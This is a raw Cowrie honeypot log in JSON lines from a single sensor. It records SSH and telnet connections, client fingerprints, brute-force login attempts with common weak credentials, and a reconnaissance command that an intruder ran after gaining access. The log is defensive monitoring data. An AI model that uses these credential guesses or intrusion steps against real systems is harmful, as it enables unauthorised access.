{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:39.748672Z","src_ip":"159.203.92.129","session":"328a55d3905c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:39.799595Z","src_ip":"159.203.92.129","session":"328a55d3905c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:39.803466Z","src_ip":"159.203.92.129","session":"328a55d3905c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:39.807817Z","src_ip":"159.203.92.129","session":"328a55d3905c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:39.821312Z","src_ip":"159.203.92.129","session":"328a55d3905c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:01:39.827018Z","src_ip":"159.203.92.129","session":"328a55d3905c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01872181892395,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:01.153066Z","src_ip":"216.131.72.138","session":"fdbf24767544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":50904,"dst_ip":"159.203.135.109","dst_port":23,"session":"adef00cbfad9","protocol":"telnet","message":"New connection: 216.131.72.138:50904 (159.203.135.109:23) [session: adef00cbfad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:01.234029Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.199.15.10","src_port":58342,"dst_ip":"10.17.0.5","dst_port":23,"session":"634b7abbcf95","protocol":"telnet","message":"New connection: 156.199.15.10:58342 (10.17.0.5:23) [session: 634b7abbcf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:01.825009Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":52174,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b463171bf08","protocol":"ssh","message":"New connection: 74.91.224.229:52174 (10.17.0.5:22) [session: 5b463171bf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:14.538055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:14.542876Z","src_ip":"74.91.224.229","session":"5b463171bf08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:14.800650Z","src_ip":"74.91.224.229","session":"5b463171bf08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.819859504699707,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:15.644723Z","src_ip":"156.199.15.10","session":"634b7abbcf95","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testtest1","message":"login attempt [root/Testtest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:15.788731Z","src_ip":"74.91.224.229","session":"5b463171bf08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:17.036440Z","src_ip":"74.91.224.229","session":"5b463171bf08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48182,"dst_ip":"159.203.135.109","dst_port":22,"session":"65ba17021e8c","protocol":"ssh","message":"New connection: 159.203.92.129:48182 (159.203.135.109:22) [session: 65ba17021e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:24.414327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:24.419158Z","src_ip":"159.203.92.129","session":"65ba17021e8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:24.424315Z","src_ip":"159.203.92.129","session":"65ba17021e8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:24.436284Z","src_ip":"159.203.92.129","session":"65ba17021e8c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:24.634213Z","src_ip":"159.203.92.129","session":"65ba17021e8c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:24.637913Z","src_ip":"159.203.92.129","session":"65ba17021e8c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:24.642237Z","src_ip":"159.203.92.129","session":"65ba17021e8c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:24.655986Z","src_ip":"159.203.92.129","session":"65ba17021e8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:24.662138Z","src_ip":"159.203.92.129","session":"65ba17021e8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.183.177.120","src_port":44504,"dst_ip":"10.17.0.5","dst_port":22,"session":"f54aa8d31d1d","protocol":"ssh","message":"New connection: 94.183.177.120:44504 (10.17.0.5:22) [session: f54aa8d31d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:31.254456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:31.378934Z","src_ip":"94.183.177.120","session":"f54aa8d31d1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:31.382582Z","src_ip":"94.183.177.120","session":"f54aa8d31d1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RPM","password":"RPM","message":"login attempt [RPM/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:31.769786Z","src_ip":"94.183.177.120","session":"f54aa8d31d1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:32.861827Z","src_ip":"94.183.177.120","session":"f54aa8d31d1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.183.177.120","src_port":44510,"dst_ip":"10.17.0.5","dst_port":22,"session":"62d86fb4ba6f","protocol":"ssh","message":"New connection: 94.183.177.120:44510 (10.17.0.5:22) [session: 62d86fb4ba6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:34.435107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:34.520848Z","src_ip":"94.183.177.120","session":"62d86fb4ba6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:34.524323Z","src_ip":"94.183.177.120","session":"62d86fb4ba6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshd","password":"sshd","message":"login attempt [sshd/sshd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:34.783729Z","src_ip":"94.183.177.120","session":"62d86fb4ba6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:35.871442Z","src_ip":"94.183.177.120","session":"62d86fb4ba6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.183.177.120","src_port":38128,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad7867816649","protocol":"ssh","message":"New connection: 94.183.177.120:38128 (10.17.0.5:22) [session: ad7867816649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:39.387142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:39.472961Z","src_ip":"94.183.177.120","session":"ad7867816649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:39.476424Z","src_ip":"94.183.177.120","session":"ad7867816649","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:39.731683Z","src_ip":"94.183.177.120","session":"ad7867816649","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:40.820092Z","src_ip":"94.183.177.120","session":"ad7867816649","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.12.186","src_port":53552,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e81756a7f99","protocol":"telnet","message":"New connection: 8.219.12.186:53552 (10.17.0.5:23) [session: 2e81756a7f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:02:52.605311Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52796,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5062e595ba6","protocol":"ssh","message":"New connection: 159.203.92.129:52796 (159.203.135.109:22) [session: b5062e595ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.084609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.090061Z","src_ip":"159.203.92.129","session":"b5062e595ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.099738Z","src_ip":"159.203.92.129","session":"b5062e595ba6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!@#","message":"login attempt [admin/admin123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.113220Z","src_ip":"159.203.92.129","session":"b5062e595ba6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.167757Z","src_ip":"159.203.92.129","session":"b5062e595ba6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.171336Z","src_ip":"159.203.92.129","session":"b5062e595ba6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:03:09.175840Z","src_ip":"159.203.92.129","session":"b5062e595ba6","protocol":"ssh"}
